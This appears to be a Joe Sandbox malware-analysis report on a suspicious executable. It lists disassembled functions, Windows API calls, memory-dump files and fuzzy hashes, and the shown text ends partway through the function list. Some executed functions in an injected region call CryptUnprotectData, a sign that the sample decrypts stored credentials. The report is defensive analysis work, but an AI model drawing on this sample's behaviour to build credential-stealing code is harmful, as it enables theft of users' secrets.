API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,755723A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75573420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ppISxhDcpF.exe,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ppISxhDcpF.exe,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: ppISxhDcpF.exePID: 4932, Parent PID: 7096COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.3%
Total number of Nodes:	258
Total number of Limit Nodes:	17

Executed Functions

Function 3801D9D9 Relevance: 1.6, APIs: 1, Instructions: 56
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3801DA45

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c305990692b9587187614bbde53a7c423a58133da3b904e56811a472b109e5ce
Instruction ID: 80ea2231df3cb7c9baed9331f61220533906b7ffce293ba4ade6fd3594246baa
Opcode Fuzzy Hash: c305990692b9587187614bbde53a7c423a58133da3b904e56811a472b109e5ce
Instruction Fuzzy Hash: 041197B6800249DFDB10CF99D840BDEBFF5EF88320F148419E954A3210C339A550CFA1

Function 3801D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3801DA45

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: cfa2c4bf3b2149d1df6f24de66a1f98e71475057fba811dfd6bebedfaaeed5b3
Instruction ID: 334227666377779edb4cf6f60b9d4021cbaccd9344038be32dded7586f2494f4
Opcode Fuzzy Hash: cfa2c4bf3b2149d1df6f24de66a1f98e71475057fba811dfd6bebedfaaeed5b3
Instruction Fuzzy Hash: 791144768003499FDB10DF99C845BDEBFF5EB88320F148459EA18A7210C779A950DFA5

Function 00158DF8 Relevance: 1.1, Instructions: 1082COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a03a1ce6575c8a3c487cea69b687d846302a505e2a9cd34d145a5e53761d83
Instruction ID: b46799f2457e6e5b14475ee5e523a50ff6c7846cc0f9203e427d7f70b15a6647
Opcode Fuzzy Hash: d4a03a1ce6575c8a3c487cea69b687d846302a505e2a9cd34d145a5e53761d83
Instruction Fuzzy Hash: BE926E70A04209DFCB15CF68C984AAEBBB2FF88311F158559E825DF2A1D731ED49CB61

Function 389EE790 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2453ee488233dab43f65c1f732820ece2546371899095396b91cacd0bdddaf4f
Instruction ID: 083c3331a7b42923aef81acecab17ca5eb050da8cb11dd7b22f74d594fc60e7a
Opcode Fuzzy Hash: 2453ee488233dab43f65c1f732820ece2546371899095396b91cacd0bdddaf4f
Instruction Fuzzy Hash: 3282B374A00228DFDB25DF64C894B99BBB2FB89301F5081E9D90AB7354DB31AE81DF50

Function 384BBDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f3c91d507417846a89180c4da1c69fefcbf1e40b82e549e6d5c5fc5eb334ea
Instruction ID: f810f382b5bd8d2ea4d4a2032311ea7e10802d199002578b6fab62f2d1c6f25c
Opcode Fuzzy Hash: c4f3c91d507417846a89180c4da1c69fefcbf1e40b82e549e6d5c5fc5eb334ea
Instruction Fuzzy Hash: 6E72D374A01218DFDB25DF64C994B99BBB2FB89301F5081E9D90AB7354CB31AE82DF50

Function 384B8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffa22b61abce6a1194b30322b0244b21af498fe6186a805f2ec30420b8568c5e
Instruction ID: 321225f8559e85e991e4a76f6b25f4edb0929364d15f9eed9b11129ff1d46ae1
Opcode Fuzzy Hash: ffa22b61abce6a1194b30322b0244b21af498fe6186a805f2ec30420b8568c5e
Instruction Fuzzy Hash: 6772AD74E01228CFEB65DF69C980BD9BBB2BB49340F5481E9D849A7351DB349E82CF50

Function 00155978 Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3833ee8bf7505778412f9f0e421fcd6a0169f545e0206c3df77805f1cde0f11c
Instruction ID: fbd3989c2f1d4d3e4caa58ff74b8f2beefdeb95107142b2100a742a6c1c22636
Opcode Fuzzy Hash: 3833ee8bf7505778412f9f0e421fcd6a0169f545e0206c3df77805f1cde0f11c
Instruction Fuzzy Hash: 05226C70A00219DFDB18DFA5C854BAEBBB6FF88301F108529E916DB291DB349D45DB90

Function 001560E0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba7fa65391791b16d6e913b2d8b2c426e7aa3cdef2a3c8ff4d5df129dc12ceba
Instruction ID: 4d51c60744d26c4502230723a96c3687ab722b0c242891d9146360b01dd901c2
Opcode Fuzzy Hash: ba7fa65391791b16d6e913b2d8b2c426e7aa3cdef2a3c8ff4d5df129dc12ceba
Instruction Fuzzy Hash: 8ED14070A00119DFCB54CFA9C984AADBBB2FF98316F958055E825EF261DB30DD85CB90

Function 3801C638 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644bf9829163b196afe010b03a6d56d4ba65a96615a5114c223f78a2bb2d9a52
Instruction ID: 4830b30688caa356348eafbede0610859104683da43011b23fa92cd21e35caa5
Opcode Fuzzy Hash: 644bf9829163b196afe010b03a6d56d4ba65a96615a5114c223f78a2bb2d9a52
Instruction Fuzzy Hash: C4E1C178E01218CFEB14CFA5C954B9DBBB2BF89304F6081A9D809B7391DB359A85CF50

Function 380103AF Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a358b47ece68b32c02a01991e4bf65333b7a564d8ce4533787ddcdb95b878963
Instruction ID: f9d019da1fb608413857ace2b7e416ab4eeeb1b1664db83013a6a646e84f1df7
Opcode Fuzzy Hash: a358b47ece68b32c02a01991e4bf65333b7a564d8ce4533787ddcdb95b878963
Instruction Fuzzy Hash: E8D1B178E00218CFEB14DFA5C994B9DBBB2BF89305F1081A9D909AB355DB355E82CF50

Function 38010C1B Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f97b4e3fb2a17b3943ae6aec6427b0340dd82132352aff3a408bc66ef6e781c8
Instruction ID: 87c6a3f66f40967b24e6e9f2f72dafe5f9995f0396a4b017552193b40d0de86b
Opcode Fuzzy Hash: f97b4e3fb2a17b3943ae6aec6427b0340dd82132352aff3a408bc66ef6e781c8
Instruction Fuzzy Hash: 60A1D574D00208CFEB14DFA9C944B9DBBB2FF89314F2082A9E448AB391DB759985CF55

Function 38010C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aae76217d23b517cefadfad69352293ff268bae0d3a10fa57361a1123bca322
Instruction ID: 9aa71fe58559904582ee9a90559040479690c10e0a8415d90604eb5eab4c825a
Opcode Fuzzy Hash: 5aae76217d23b517cefadfad69352293ff268bae0d3a10fa57361a1123bca322
Instruction Fuzzy Hash: 65A1E474D00208CFEB14DFA9C944B9DBBB2FF89314F208269E448AB391DB759985CF55

Function 384BA360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fabe921bb5c3522ea6299e2ccfa4eedee36d330b10b67436ef81137fb2ae2d81
Instruction ID: b42a0e56ba9e26c2b84e30b144a243a194078d9f1523ee8dd0957a6aa5fac253
Opcode Fuzzy Hash: fabe921bb5c3522ea6299e2ccfa4eedee36d330b10b67436ef81137fb2ae2d81
Instruction Fuzzy Hash: 10A192B4E01218CFEB14CF6AC944B9DFBF2AB89300F14C1AAD448A7255DB745A85CF61

Function 384B9D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c076c44688ccfeee440531b2ad5701f02abfd052c1d0856feb5238d682ca2f8
Instruction ID: b1e1e220460aa7da9a29ad4b66056b97b84e5454e7c1bad94aeb0f71b7c80f39
Opcode Fuzzy Hash: 1c076c44688ccfeee440531b2ad5701f02abfd052c1d0856feb5238d682ca2f8
Instruction Fuzzy Hash: B8A181B4E01218CFEB54CF6AC944B9DBBF2AF89300F14C1AAD449B7255DB745A85CF60

Function 384BA9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d50c18525d1eaf9800db818083d83529c9697eaed21b14657fe4a6147221d5f
Instruction ID: 154c8dc581dbe9b6a29c57ae166715e88d3483ee9bbad3f9ef1135e7e91d79da
Opcode Fuzzy Hash: 4d50c18525d1eaf9800db818083d83529c9697eaed21b14657fe4a6147221d5f
Instruction Fuzzy Hash: E4A192B4E012288FEB64CF6AC944B9DBBF2AF89300F14C1AAD549B7255DB345A85CF50

Function 384B96C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08fa7fadb17547e155bfde50bc368f5ab7f6a40e11a49cbd02745e92ffb53bb1
Instruction ID: be583f8a99b139ddb0d832f8c6a98f029185999097820d68a6c3f2844b9a99f6
Opcode Fuzzy Hash: 08fa7fadb17547e155bfde50bc368f5ab7f6a40e11a49cbd02745e92ffb53bb1
Instruction Fuzzy Hash: 97A18474E01218CFEB54CF6AC944B9DBBF2BB89300F14C1AAD448B7255DB349A85CF21

Function 38010F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1610f202a49d91e129c7746f36339377172dd833581fb67f745826979b7bfa7e
Instruction ID: fd08f4d12c38380ec6ed4d63d58cbfce2c565d1b756051d75af3e3e275db4080
Opcode Fuzzy Hash: 1610f202a49d91e129c7746f36339377172dd833581fb67f745826979b7bfa7e
Instruction Fuzzy Hash: B991E374D00208CFEB10DFA9C988B9CBBB1FF49314F2092A9E449AB391DB759985CF55

Function 384BBA88 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

